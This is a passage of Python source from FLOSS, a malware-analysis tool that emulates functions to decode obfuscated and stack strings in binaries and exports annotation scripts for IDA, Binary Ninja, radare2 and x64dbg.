as string_decoder\nimport floss.identification_manager as im\nfrom floss.const import MAX_FILE_SIZE, SUPPORTED_FILE_MAGIC, MIN_STRING_LENGTH_DEFAULT\nfrom floss.utils import get_vivisect_meta_info, hex\nfrom floss.version import __version__\nfrom floss.interfaces import DecodingRoutineIdentifier\nfrom floss.decoding_manager import LocationType\n\n\nfloss_logger = logging.getLogger(\"floss\")\n\n\nclass LoadNotSupportedError(Exception):\n pass\n\n\nclass WorkspaceLoadError(Exception):\n pass\n\n\ndef decode_strings(vw, decoding_functions_candidates, min_length, no_filter=False, max_instruction_count=20000, max_hits=1):\n \"\"\"\n FLOSS string decoding algorithm\n :param vw: vivisect workspace\n :param decoding_functions_candidates: identification manager\n :param min_length: minimum string length\n :param no_filter: do not filter decoded strings\n :param max_instruction_count: The maximum number of instructions to emulate per function.\n :param max_hits: The maximum number of hits per address\n :return: list of decoded strings ([DecodedString])\n \"\"\"\n decoded_strings = []\n function_index = viv_utils.InstructionFunctionIndex(vw)\n # TODO pass function list instead of identification manager\n for fva, _ in decoding_functions_candidates.get_top_candidate_functions(10):\n for ctx in string_decoder.extract_decoding_contexts(vw, fva, max_hits):\n for delta in string_decoder.emulate_decoding_routine(vw, function_index, fva, ctx, max_instruction_count):\n for delta_bytes in string_decoder.extract_delta_bytes(delta, ctx.decoded_at_va, fva):\n for decoded_string in string_decoder.extract_strings(delta_bytes, min_length, no_filter):\n decoded_strings.append(decoded_string)\n return decoded_strings\n\n\ndef sanitize_strings_iterator(str_coll):\n \"\"\"\n Iterate a collection and yield sanitized strings (uses sanitize_string_for_printing)\n :param str_coll: collection of strings to be sanitized\n :return: a sanitized string\n \"\"\"\n for s_obj in str_coll:\n s = getattr(s_obj, 's', s_obj) # Use .s attribute from each namedtuple if possible\n yield sanitize_string_for_printing(s)\n\n\ndef sanitize_string_for_printing(s):\n \"\"\"\n Return sanitized string for printing.\n :param s: input string\n :return: sanitized string\n \"\"\"\n sanitized_string = s.encode('unicode_escape')\n sanitized_string = sanitized_string.replace('\\\\\\\\', '\\\\') # print single backslashes\n sanitized_string = \"\".join(c for c in sanitized_string if c in string.printable)\n return sanitized_string\n\n\ndef sanitize_string_for_script(s):\n \"\"\"\n Return sanitized string that is added to IDAPython script content.\n :param s: input string\n :return: sanitized string\n \"\"\"\n sanitized_string = sanitize_string_for_printing(s)\n sanitized_string = sanitized_string.replace('\\\\', '\\\\\\\\')\n sanitized_string = sanitized_string.replace('\\\"', '\\\\\\\"')\n return sanitized_string\n\n\ndef print_plugin_list():\n print(\"Available identification plugins:\")\n print(\"\\n\".join([\" - %s\" % plugin.get_name_version() for plugin in get_all_plugins()]))\n\n\n# TODO add --plugin_dir switch at some point\ndef get_all_plugins():\n \"\"\"\n Return all plugins to be run.\n \"\"\"\n ps = DecodingRoutineIdentifier.implementors()\n if len(ps) == 0:\n ps.append(plugins.function_meta_data_plugin.FunctionCrossReferencesToPlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionArgumentCountPlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionIsThunkPlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionBlockCountPlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionInstructionCountPlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionSizePlugin())\n ps.append(plugins.function_meta_data_plugin.FunctionRecursivePlugin())\n ps.append(plugins.library_function_plugin.FunctionIsLibraryPlugin())\n ps.append(plugins.arithmetic_plugin.XORPlugin())\n ps.append(plugins.arithmetic_plugin.ShiftPlugin())\n ps.append(plugins.mov_plugin.MovPlugin())\n return ps\n\n\ndef make_parser():\n usage_message = \"%prog [options] FILEPATH\"\n\n parser = OptionParser(usage=usage_message,\n version=\"%prog {:s}\\nhttps://github.com/fireeye/flare-floss/\".format(__version__))\n\n parser.add_option(\"-n\", \"--minimum-length\", dest=\"min_length\",\n help=\"minimum string length (default is %d)\" % MIN_STRING_LENGTH_DEFAULT)\n parser.add_option(\"-f\", \"--functions\", dest=\"functions\",\n help=\"only analyze the specified functions (comma-separated)\",\n type=\"string\")\n parser.add_option(\"-o\", \"--output-json\", dest=\"json_output_file\",\n help=\"save analysis output as a JSON document\")\n parser.add_option(\"--save-workspace\", dest=\"save_workspace\",\n help=\"save vivisect .viv workspace file in current directory\", action=\"store_true\")\n parser.add_option(\"-m\", \"--show-metainfo\", dest=\"should_show_metainfo\",\n help=\"display vivisect workspace meta information\", action=\"store_true\")\n parser.add_option(\"--no-filter\", dest=\"no_filter\",\n help=\"do not filter deobfuscated strings (may result in many false positive strings)\",\n action=\"store_true\")\n parser.add_option(\"--max-instruction-count\", dest=\"max_instruction_count\", type=int, default=20000,\n help=\"maximum number of instructions to emulate per function (default is 20000)\")\n parser.add_option(\"--max-address-revisits\", dest=\"max_address_revisits\", type=int, default=0,\n help=\"maximum number of address revisits per function (default is 0)\")\n\n shellcode_group = OptionGroup(parser, \"Shellcode options\", \"Analyze raw binary file containing shellcode\")\n shellcode_group.add_option(\"-s\", \"--shellcode\", dest=\"is_shellcode\", help=\"analyze shellcode\",\n action=\"store_true\")\n shellcode_group.add_option(\"-e\", \"--shellcode_ep\", dest=\"shellcode_entry_point\",\n help=\"shellcode entry point\", type=\"string\")\n shellcode_group.add_option(\"-b\", \"--shellcode_base\", dest=\"shellcode_base\",\n help=\"shellcode base offset\", type=\"string\")\n parser.add_option_group(shellcode_group)\n\n extraction_group = OptionGroup(parser, \"Extraction options\", \"Specify which string types FLOSS shows from a file, \"\n \"by default all types are shown\")\n extraction_group.add_option(\"--no-static-strings\", dest=\"no_static_strings\", action=\"store_true\",\n help=\"do not show static ASCII and UTF-16 strings\")\n extraction_group.add_option(\"--no-decoded-strings\", dest=\"no_decoded_strings\", action=\"store_true\",\n help=\"do not show decoded strings\")\n extraction_group.add_option(\"--no-stack-strings\", dest=\"no_stack_strings\", action=\"store_true\",\n help=\"do not show stackstrings\")\n parser.add_option_group(extraction_group)\n\n format_group = OptionGroup(parser, \"Format Options\")\n format_group.add_option(\"-g\", \"--group\", dest=\"group_functions\",\n help=\"group output by virtual address of decoding functions\",\n action=\"store_true\")\n format_group.add_option(\"-q\", \"--quiet\", dest=\"quiet\", action=\"store_true\",\n help=\"suppress headers and formatting to print only extracted strings\")\n parser.add_option_group(format_group)\n\n logging_group = OptionGroup(parser, \"Logging Options\")\n logging_group.add_option(\"-v\", \"--verbose\", dest=\"verbose\",\n help=\"show verbose messages and warnings\", action=\"store_true\")\n logging_group.add_option(\"-d\", \"--debug\", dest=\"debug\",\n help=\"show all trace messages\", action=\"store_true\")\n parser.add_option_group(logging_group)\n\n output_group = OptionGroup(parser, \"Script output options\")\n output_group.add_option(\"-i\", \"--ida\", dest=\"ida_python_file\",\n help=\"create an IDAPython script to annotate the decoded strings in an IDB file\")\n output_group.add_option(\"--x64dbg\", dest=\"x64dbg_database_file\",\n help=\"create a x64dbg database/json file to annotate the decoded strings in x64dbg\")\n output_group.add_option(\"-r\", \"--radare\", dest=\"radare2_script_file\",\n help=\"create a radare2 script to annotate the decoded strings in an .r2 file\")\n output_group.add_option(\"-j\", \"--binja\", dest=\"binja_script_file\",\n help=\"create a Binary Ninja script to annotate the decoded strings in a BNDB file\")\n parser.add_option_group(output_group)\n\n identification_group = OptionGroup(parser, \"Identification Options\")\n identification_group.add_option(\"-p\", \"--plugins\", dest=\"plugins\",\n help=\"apply the specified identification plugins only (comma-separated)\")\n identification_group.add_option(\"-l\", \"--list-plugins\", dest=\"list_plugins\",\n help=\"list all available identification plugins and exit\",\n action=\"store_true\")\n parser.add_option_group(identification_group)\n\n profile_group = OptionGroup(parser, \"FLOSS Profiles\")\n profile_group.add_option(\"-x\", \"--expert\", dest=\"expert\",\n help=\"show duplicate offset/string combinations, save workspace, group function output\",\n action=\"store_true\")\n parser.add_option_group(profile_group)\n\n return parser\n\n\ndef set_logging_levels(should_debug=False, should_verbose=False):\n \"\"\"\n Sets the logging levels of each of Floss's loggers individually.\n Recomended to use if Floss is being used as a library, and your\n project has its own logging set up. If both parameters 'should_debug'\n and 'should_verbose' are false, the logging level will be set to ERROR.\n :param should_debug: set logging level to DEBUG\n :param should_verbose: set logging level to INFO\n \"\"\"\n log_level = None\n emulator_driver_level = None\n\n if should_debug:\n log_level = logging.DEBUG\n emulator_driver_level = log_level\n\n elif should_verbose:\n log_level = logging.INFO\n emulator_driver_level = log_level\n else:\n log_level = logging.ERROR\n emulator_driver_level = logging.CRITICAL\n\n # ignore messages like:\n # DEBUG: mapping section: 0 .text\n logging.getLogger(\"vivisect.parsers.pe\").setLevel(log_level)\n\n # ignore messages like:\n # WARNING:EmulatorDriver:error during emulation of function: BreakpointHit at 0x1001fbfb\n # ERROR:EmulatorDriver:error during emulation of function ... DivideByZero: DivideByZero at 0x10004940\n # TODO: probably should modify emulator driver to de-prioritize this\n logging.getLogger(\"EmulatorDriver\").setLevel(emulator_driver_level)\n\n # ignore messages like:\n # WARNING:Monitor:logAnomaly: anomaly: BreakpointHit at 0x1001fbfb\n logging.getLogger(\"Monitor\").setLevel(log_level)\n\n # ignore messages like:\n # WARNING:envi/codeflow.addCodeFlow:parseOpcode error at 0x1001044c: InvalidInstruction(\"'660f3a0fd90c660f7f1f660f6fe0660f' at 0x1001044c\",)\n logging.getLogger(\"envi/codeflow.addCodeFlow\").setLevel(log_level)\n\n # ignore messages like:\n # WARNING:vtrace.platforms.win32:LoadLibrary C:\\Users\\USERNA~1\\AppData\\Local\\Temp\\_MEI21~1\\vtrace\\platforms\\windll\\amd64\\symsrv.dll: [Error 126] The specified module could not be found\n # WARNING:vtrace.platforms.win32:LoadLibrary C:\\Users\\USERNA~1\\AppData\\Local\\Temp\\_MEI21~1\\vtrace\\platforms\\windll\\amd64\\dbghelp.dll: [Error 126] The specified module could not be found\n logging.getLogger(\"vtrace.platforms.win32\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: merge_candidates: Function at 0x00401500 is new, adding\n logging.getLogger(\"floss.identification_manager.IdentificationManager\").setLevel(log_level)\n\n # ignore messages like:\n # WARNING: get_caller_vas: unknown caller function: 0x403441\n # DEBUG: get_all_function_contexts: Getting function context for function at 0x00401500...\n logging.getLogger(\"floss.function_argument_getter.FunctionArgumentGetter\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: Emulating function at 0x004017A9 called at 0x00401644, return address: 0x00401649\n logging.getLogger(\"floss\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: extracting stackstrings at checkpoint: 0x4048dd stacksize: 0x58\n logging.getLogger(\"floss.stackstrings\").setLevel(log_level)\n\n # ignore messages like:\n # WARNING:plugins.arithmetic_plugin.XORPlugin:identify: Invalid instruction encountered in basic block, skipping: 0x4a0637\n logging.getLogger(\"floss.plugins.arithmetic_plugin.XORPlugin\").setLevel(log_level)\n logging.getLogger(\"floss.plugins.arithmetic_plugin.ShiftPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: identify: Identified WSAStartup_00401476 at VA 0x00401476\n logging.getLogger(\"floss.plugins.library_function_plugin.FunctionIsLibraryPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: identify: Function at 0x00401500: Cross references to: 2\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionCrossReferencesToPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: identify: Function at 0x00401FFF: Number of arguments: 3\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionArgumentCountPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: get_meta_data: Function at 0x00401470 has meta data: Thunk: ws2_32.WSACleanup\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionIsThunkPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: get_meta_data: Function at 0x00401000 has meta data: BlockCount: 7\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionBlockCountPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: get_meta_data: Function at 0x00401000 has meta data: InstructionCount: 60\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionInstructionCountPlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: get_meta_data: Function at 0x00401000 has meta data: Size: 177\n logging.getLogger(\"floss.plugins.function_meta_data_plugin.FunctionSizePlugin\").setLevel(log_level)\n\n # ignore messages like:\n # DEBUG: identify: suspicious MOV instruction at 0x00401017 in function 0x00401000: mov byte [edx],al\n logging.getLogger(\"floss.plugins.mov_plugin.MovPlugin\").setLevel(log_level)\n\n\ndef set_log_config(should_debug=False, should_verbose=False):\n \"\"\"\n Removes root logging handlers, and sets Floss's logging level.\n Recomended to use if Floss is being used in a standalone script, or\n your project doesn't have any loggers. If both parameters 'should_debug'\n and 'should_verbose' are false, the logging level will be set to ERROR.\n :param should_debug: set logging level to DEBUG\n :param should_verbose: set logging level to INFO\n \"\"\"\n # reset .basicConfig root handler\n # via: http://stackoverflow.com/a/2588054\n root = logging.getLogger()\n if root.handlers:\n for handler in root.handlers:\n root.removeHandler(handler)\n\n if should_debug:\n logging.basicConfig(level=logging.DEBUG)\n elif should_verbose:\n logging.basicConfig(level=logging.INFO)\n else:\n logging.basicConfig(level=logging.WARNING)\n\n set_logging_levels(should_debug, should_verbose)\n\n\ndef parse_functions_option(functions_option):\n \"\"\"\n Return parsed -f command line option or None.\n \"\"\"\n fvas = None\n if functions_option:\n fvas = [int(fva, 0x10) for fva in functions_option.split(\",\")]\n return fvas\n\n\ndef parse_sample_file_path(parser, args):\n \"\"\"\n Return validated input file path or terminate program.\n \"\"\"\n try_help_msg = \"Try '%s -h' for more information\" % parser.get_prog_name()\n if len(args) != 1:\n parser.error(\"Please provide a valid file path\\n%s\" % try_help_msg)\n sample_file_path = args[0]\n if not os.path.exists(sample_file_path):\n parser.error(\"File '%s' does not exist\\n%s\" % (sample_file_path, try_help_msg))\n if not os.path.isfile(sample_file_path):\n parser.error(\"'%s' is not a file\\n%s\" % (sample_file_path, try_help_msg))\n return sample_file_path\n\n\ndef select_functions(vw, functions_option):\n \"\"\"\n Given a workspace and sequence of function addresses, return the list\n of valid functions, or all valid function addresses.\n :param vw: vivisect workspace\n :param functions_option: -f command line option\n :return: list of all valid function addresses\n \"\"\"\n function_vas = parse_functions_option(functions_option)\n\n workspace_functions = set(vw.getFunctions())\n if function_vas is None:\n return workspace_functions\n\n function_vas = set(function_vas)\n if len(function_vas - workspace_functions) > 0:\n raise Exception(\"Functions don't exist in vivisect workspace: %s\" % get_str_from_func_list(\n list(function_vas - workspace_functions)))\n\n return function_vas\n\n\ndef get_str_from_func_list(function_list):\n return \", \".join(map(hex, function_list))\n\n\ndef parse_plugins_option(plugins_option):\n \"\"\"\n Return parsed -p command line option or \"\".\n \"\"\"\n return (plugins_option or \"\").split(\",\")\n\n\ndef select_plugins(plugins_option):\n \"\"\"\n Return the list of valid plugin names from the list of\n plugin names, or all valid plugin names.\n :param plugins_option: -p command line argument value\n :return: list of strings of all selected plugins\n \"\"\"\n plugin_names = parse_plugins_option(plugins_option)\n\n plugin_names = set(plugin_names)\n all_plugin_names = set(map(str, get_all_plugins()))\n\n if \"\" in plugin_names:\n plugin_names.remove(\"\")\n if not plugin_names:\n return list(all_plugin_names)\n\n if len(plugin_names - all_plugin_names) > 0:\n # TODO handle exception\n raise Exception(\"Plugin not found\")\n\n return plugin_names\n\n\ndef filter_unique_decoded(decoded_strings):\n unique_values = set()\n originals = []\n for decoded in decoded_strings:\n hashable = (decoded.s, decoded.decoded_at_va, decoded.fva)\n if hashable not in unique_values:\n unique_values.add(hashable)\n originals.append(decoded)\n return originals\n\n\ndef parse_min_length_option(min_length_option):\n \"\"\"\n Return parsed -n command line option or default length.\n \"\"\"\n min_length = int(min_length_option or str(MIN_STRING_LENGTH_DEFAULT))\n return min_length\n\n\ndef is_workspace_file(sample_file_path):\n \"\"\"\n Return if input file is a vivisect workspace, based on file extension\n :param sample_file_path:\n :return: True if file extension is .viv, False otherwise\n \"\"\"\n if os.path.splitext(sample_file_path)[1] == \".viv\":\n return True\n return False\n\n\ndef is_supported_file_type(sample_file_path):\n \"\"\"\n Return if FLOSS supports the input file type, based on header bytes\n :param sample_file_path:\n :return: True if file type is supported, False otherwise\n \"\"\"\n with open(sample_file_path, \"rb\") as f:\n magic = f.read(2)\n\n if magic in SUPPORTED_FILE_MAGIC:\n return True\n else:\n return False\n\n\ndef print_identification_results(sample_file_path, decoder_results):\n \"\"\"\n Print results of string decoding routine identification phase.\n :param sample_file_path: input file\n :param decoder_results: identification_manager\n \"\"\"\n # TODO pass functions instead of identification_manager\n candidates = decoder_results.get_top_candidate_functions(10)\n if len(candidates) == 0:\n print(\"No candidate functions found.\")\n else:\n print(\"Most likely decoding functions in: \" + sample_file_path)\n print(tabulate.tabulate(\n [(hex(fva), \"%.5f\" % (score,)) for fva, score in candidates],\n headers=[\"address\", \"score\"]))\n\n\ndef print_decoding_results(decoded_strings, group_functions, quiet=False, expert=False):\n \"\"\"\n Print results of string decoding phase.\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param group_functions: group output by VA of decoding routines\n :param quiet: print strings only, suppresses headers\n :param expert: expert mode\n \"\"\"\n\n if group_functions:\n if not quiet:\n print(\"\\nFLOSS decoded %d strings\" % len(decoded_strings))\n fvas = set(map(lambda i: i.fva, decoded_strings))\n for fva in fvas:\n grouped_strings = filter(lambda ds: ds.fva == fva, decoded_strings)\n len_ds = len(grouped_strings)\n if len_ds > 0:\n if not quiet:\n print(\"\\nDecoding function at 0x%X (decoded %d strings)\" % (fva, len_ds))\n print_decoded_strings(grouped_strings, quiet=quiet, expert=expert)\n else:\n if not expert:\n seen = set()\n decoded_strings = [x for x in decoded_strings if not (x.s in seen or seen.add(x.s))]\n if not quiet:\n print(\"\\nFLOSS decoded %d strings\" % len(decoded_strings))\n\n print_decoded_strings(decoded_strings, quiet=quiet, expert=expert)\n\n\ndef print_decoded_strings(decoded_strings, quiet=False, expert=False):\n \"\"\"\n Print decoded strings.\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param quiet: print strings only, suppresses headers\n :param expert: expert mode\n \"\"\"\n if quiet or not expert:\n for ds in decoded_strings:\n print(sanitize_string_for_printing(ds.s))\n else:\n ss = []\n for ds in decoded_strings:\n s = sanitize_string_for_printing(ds.s)\n if ds.characteristics[\"location_type\"] == LocationType.STACK:\n offset_string = \"[STACK]\"\n elif ds.characteristics[\"location_type\"] == LocationType.HEAP:\n offset_string = \"[HEAP]\"\n else:\n offset_string = hex(ds.va or 0)\n ss.append((offset_string, hex(ds.decoded_at_va), s))\n\n if len(ss) > 0:\n print(tabulate.tabulate(ss, headers=[\"Offset\", \"Called At\", \"String\"]))\n\n\ndef create_x64dbg_database_content(sample_file_path, imagebase, decoded_strings):\n \"\"\"\n Create x64dbg database/json file contents for file annotations.\n :param sample_file_path: input file path\n :param imagebase: input files image base to allow calculation of rva\n :param decoded_strings: list of decoded strings ([DecodedString])\n :return: json needed to annotate a binary in x64dbg\n \"\"\"\n export = {\n \"comments\": []\n }\n module = os.path.basename(sample_file_path)\n processed = {}\n for ds in decoded_strings:\n if ds.s != \"\":\n sanitized_string = sanitize_string_for_script(ds.s)\n if ds.characteristics[\"location_type\"] == LocationType.GLOBAL:\n rva = hex(ds.va - imagebase)\n try:\n processed[rva] += \"\\t\" + sanitized_string\n except BaseException:\n processed[rva] = \"FLOSS: \" + sanitized_string\n else:\n rva = hex(ds.decoded_at_va - imagebase)\n try:\n processed[rva] += \"\\t\" + sanitized_string\n except BaseException:\n processed[rva] = \"FLOSS: \" + sanitized_string\n\n for i in processed.keys():\n comment = {\n \"text\": processed[i],\n \"manual\": False,\n \"module\": module,\n \"address\": i\n }\n export[\"comments\"].append(comment)\n\n return json.dumps(export, indent=1)\n\n\ndef create_ida_script_content(sample_file_path, decoded_strings, stack_strings):\n \"\"\"\n Create IDAPython script contents for IDB file annotations.\n :param sample_file_path: input file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n :return: content of the IDAPython script\n \"\"\"\n main_commands = []\n for ds in decoded_strings:\n if ds.s != \"\":\n sanitized_string = sanitize_string_for_script(ds.s)\n if ds.characteristics[\"location_type\"] == LocationType.GLOBAL:\n main_commands.append('print(\"FLOSS: string \\\\\"%s\\\\\" at global VA 0x%X\")' % (sanitized_string, ds.va))\n main_commands.append('AppendComment(%d, \"FLOSS: %s\", True)' % (ds.va, sanitized_string))\n else:\n main_commands.append('print(\"FLOSS: string \\\\\"%s\\\\\" decoded at VA 0x%X\")' % (sanitized_string, ds.decoded_at_va))\n main_commands.append('AppendComment(%d, \"FLOSS: %s\")' % (ds.decoded_at_va, sanitized_string))\n main_commands.append('print(\"Imported decoded strings from FLOSS\")')\n\n ss_len = 0\n for ss in stack_strings:\n if ss.s != \"\":\n sanitized_string = sanitize_string_for_script(ss.s)\n main_commands.append('AppendLvarComment(%d, %d, \"FLOSS stackstring: %s\", True)' % (ss.fva, ss.frame_offset, sanitized_string))\n ss_len += 1\n main_commands.append('print(\"Imported stackstrings from FLOSS\")')\n\n script_content = \"\"\"\ndef AppendComment(ea, string, repeatable=False):\n current_string = get_cmt(ea, repeatable)\n\n if not current_string:\n cmt = string\n else:\n if string in current_string: # ignore duplicates\n return\n cmt = string + \"\\\\n\" + string\n set_cmt(ea, cmt, repeatable)\n\n\ndef AppendLvarComment(fva, frame_offset, s, repeatable=False):\n stack = get_func_attr(fva, FUNCATTR_FRAME)\n if stack:\n lvar_offset = get_func_attr(fva, FUNCATTR_FRSIZE) - frame_offset\n if lvar_offset and lvar_offset > 0:\n string = get_member_cmt(stack, lvar_offset, repeatable)\n if not string:\n string = s\n else:\n if s in string: # ignore duplicates\n return\n string = string + \"\\\\n\" + s\n if set_member_cmt(stack, lvar_offset, string, repeatable):\n print('FLOSS appended stackstring comment \\\\\"%%s\\\\\" at stack frame offset 0x%%X in function 0x%%X' %% (s, frame_offset, fva))\n return\n print('Failed to append stackstring comment \\\\\"%%s\\\\\" at stack frame offset 0x%%X in function 0x%%X' %% (s, frame_offset, fva))\n\n\ndef main():\n print('Annotating %d strings from FLOSS for %s')\n %s\n ida_kernwin.refresh_idaview_anyway()\n\nif __name__ == \"__main__\":\n main()\n\"\"\" % (len(decoded_strings) + ss_len, sample_file_path, \"\\n \".join(main_commands))\n return script_content\n\n\ndef create_binja_script_content(sample_file_path, decoded_strings, stack_strings):\n \"\"\"\n Create Binary Ninja script contents for BNDB file annotations.\n :param sample_file_path: input file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n :return: content of the Binary Ninja script\n \"\"\"\n main_commands = []\n for ds in decoded_strings:\n if ds.s != \"\":\n sanitized_string = sanitize_string_for_script(ds.s)\n if ds.characteristics[\"location_type\"] == LocationType.GLOBAL:\n main_commands.append('print \"FLOSS: string \\\\\"%s\\\\\" at global VA 0x%X\"' % (sanitized_string, ds.va))\n main_commands.append('AppendComment(%d, \"FLOSS: %s\")' % (ds.va, sanitized_string))\n else:\n main_commands.append('print \"FLOSS: string \\\\\"%s\\\\\" decoded at VA 0x%X\"' % (sanitized_string, ds.decoded_at_va))\n main_commands.append('AppendComment(%d, \"FLOSS: %s\")' % (ds.decoded_at_va, sanitized_string))\n main_commands.append('print \"Imported decoded strings from FLOSS\"')\n\n ss_len = 0\n for ss in stack_strings:\n if ss.s != \"\":\n sanitized_string = sanitize_string_for_script(ss.s)\n main_commands.append('AppendLvarComment(%d, %d, \"FLOSS stackstring: %s\")' % (ss.fva, ss.pc, sanitized_string))\n ss_len += 1\n main_commands.append('print \"Imported stackstrings from FLOSS\"')\n\n script_content = \"\"\"import binaryninja as bn\n\n\ndef AppendComment(ea, s):\n\n s = s.encode('ascii')\n refAddrs = []\n for ref in bv.get_code_refs(ea):\n refAddrs.append(ref)\n\n for addr in refAddrs:\n fnc = bv.get_functions_containing(addr.address)\n fn = fnc[0]\n\n string = fn.get_comment_at(addr.address)\n\n if not string:\n string = s # no existing comment\n else:\n if s in string: # ignore duplicates\n return\n string = string + \"\\\\n\" + s\n\n fn.set_comment_at(addr.address, string)\n\ndef AppendLvarComment(fva, pc, s):\n\n # stack var comments are not a thing in Binary Ninja so just add at top of function\n # and at location where it's used as an arg\n s = s.encode('ascii')\n fn = bv.get_function_at(fva)\n\n for addr in [fva, pc]:\n string = fn.get_comment_at(addr)\n\n if not string:\n string = s\n else:\n if s in string: # ignore duplicates\n return\n string = string + \"\\\\n\" + s\n\n fn.set_comment(addr, string)\n\nprint \"Annotating %d strings from FLOSS for %s\"\n%s\n\n\"\"\" % (len(decoded_strings) + ss_len, sample_file_path, \"\\n\".join(main_commands))\n return script_content\n\n\ndef create_r2_script_content(sample_file_path, decoded_strings, stack_strings):\n \"\"\"\n Create r2script contents for r2 session annotations.\n :param sample_file_path: input file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n :return: content of the r2script\n \"\"\"\n main_commands = []\n fvas = []\n for ds in decoded_strings:\n if ds.s != \"\":\n sanitized_string = b64encode('\"FLOSS: %s (floss_%x)\"' % (ds.s, ds.fva))\n if ds.characteristics[\"location_type\"] == LocationType.GLOBAL:\n main_commands.append(\"CCu base64:%s @ %d\" % (sanitized_string, ds.va))\n if ds.fva not in fvas:\n main_commands.append(\"af @ %d\" % (ds.fva))\n main_commands.append(\"afn floss_%x @ %d\" % (ds.fva, ds.fva))\n fvas.append(ds.fva)\n else:\n main_commands.append(\"CCu base64:%s @ %d\" % (sanitized_string, ds.decoded_at_va))\n if ds.fva not in fvas:\n main_commands.append(\"af @ %d\" % (ds.fva))\n main_commands.append(\"afn floss_%x @ %d\" % (ds.fva, ds.fva))\n fvas.append(ds.fva)\n ss_len = 0\n for ss in stack_strings:\n if ss.s != \"\":\n sanitized_string = b64encode('\"FLOSS: %s\"' % ss.s)\n main_commands.append(\"Ca -0x%x base64:%s @ %d\" % (ss.frame_offset, sanitized_string, ss.fva))\n ss_len += 1\n\n return \"\\n\".join(main_commands)\n\n\ndef create_x64dbg_database(sample_file_path, x64dbg_database_file, imagebase, decoded_strings):\n \"\"\"\n Create an x64dbg database to annotate an executable with decoded strings.\n :param sample_file_path: input file path\n :param x64dbg_database_file: output file path\n :param imagebase: imagebase for target file\n :param decoded_strings: list of decoded strings ([DecodedString])\n \"\"\"\n script_content = create_x64dbg_database_content(sample_file_path, imagebase, decoded_strings)\n with open(x64dbg_database_file, 'wb') as f:\n try:\n f.write(script_content)\n floss_logger.info(\"Wrote x64dbg database to %s\\n\" % x64dbg_database_file)\n except Exception as e:\n raise e\n\n\ndef create_ida_script(sample_file_path, ida_python_file, decoded_strings, stack_strings):\n \"\"\"\n Create an IDAPython script to annotate an IDB file with decoded strings.\n :param sample_file_path: input file path\n :param ida_python_file: output file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n \"\"\"\n script_content = create_ida_script_content(sample_file_path, decoded_strings, stack_strings)\n ida_python_file = os.path.abspath(ida_python_file)\n with open(ida_python_file, 'wb') as f:\n try:\n f.write(script_content)\n floss_logger.info(\"Wrote IDAPython script file to %s\\n\" % ida_python_file)\n except Exception as e:\n raise e\n # TODO return, catch exception in main()\n\n\ndef create_binja_script(sample_file_path, binja_script_file, decoded_strings, stack_strings):\n \"\"\"\n Create a Binary Ninja script to annotate a BNDB file with decoded strings.\n :param sample_file_path: input file path\n :param binja_script_file: output file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n \"\"\"\n script_content = create_binja_script_content(sample_file_path, decoded_strings, stack_strings)\n binja_script__file = os.path.abspath(binja_script_file)\n with open(binja_script_file, 'wb') as f:\n try:\n f.write(script_content)\n floss_logger.info(\"Wrote Binary Ninja script file to %s\\n\" % binja_script_file)\n except Exception as e:\n raise e\n # TODO return, catch exception in main()\n\n\ndef create_r2_script(sample_file_path, r2_script_file, decoded_strings, stack_strings):\n \"\"\"\n Create an r2script to annotate r2 session with decoded strings.\n :param sample_file_path: input file path\n :param r2script_file: output file path\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n \"\"\"\n script_content = create_r2_script_content(sample_file_path, decoded_strings, stack_strings)\n r2_script_file = os.path.abspath(r2_script_file)\n with open(r2_script_file, 'wb') as f:\n try:\n f.write(script_content)\n floss_logger.info(\"Wrote radare2script file to %s\\n\" % r2_script_file)\n except Exception as e:\n raise e\n # TODO return, catch exception in main()\n\n\ndef create_json_output_static_only(options, sample_file_path, static_strings):\n create_json_output(options, sample_file_path,\n decoded_strings=[],\n stack_strings=[],\n static_strings=static_strings)\n floss_logger.info(\"Wrote JSON file to %s\\n\" % options.json_output_file)\n\n\ndef create_json_output(options, sample_file_path, decoded_strings, stack_strings, static_strings):\n \"\"\"\n Create a report of the analysis performed by FLOSS\n :param options: parsed options\n :param sample_file_path: path of the sample analyzed\n :param decoded_strings: list of decoded strings ([DecodedString])\n :param stack_strings: list of stack strings ([StackString])\n :param static_strings: iterable of static strings ([String])\n \"\"\"\n strings = {'stack_strings': sanitize_strings_iterator(stack_strings),\n 'decoded_strings': sanitize_strings_iterator(decoded_strings),\n 'static_strings': sanitize_strings_iterator(static_strings)}\n metadata = {'file_path': sample_file_path,\n 'date': datetime.datetime.now().isoformat(),\n 'stack_strings': not options.no_stack_strings,\n 'decoded_strings': not options.no_decoded_strings,\n 'static_strings': not options.no_static_strings}\n report = {'metadata': metadata, 'strings': strings}\n try:\n with open(options.json_output_file, 'w') as f:\n json.dump(report, f, iterable_as_array=True)\n except Exception:\n raise\n\n\ndef 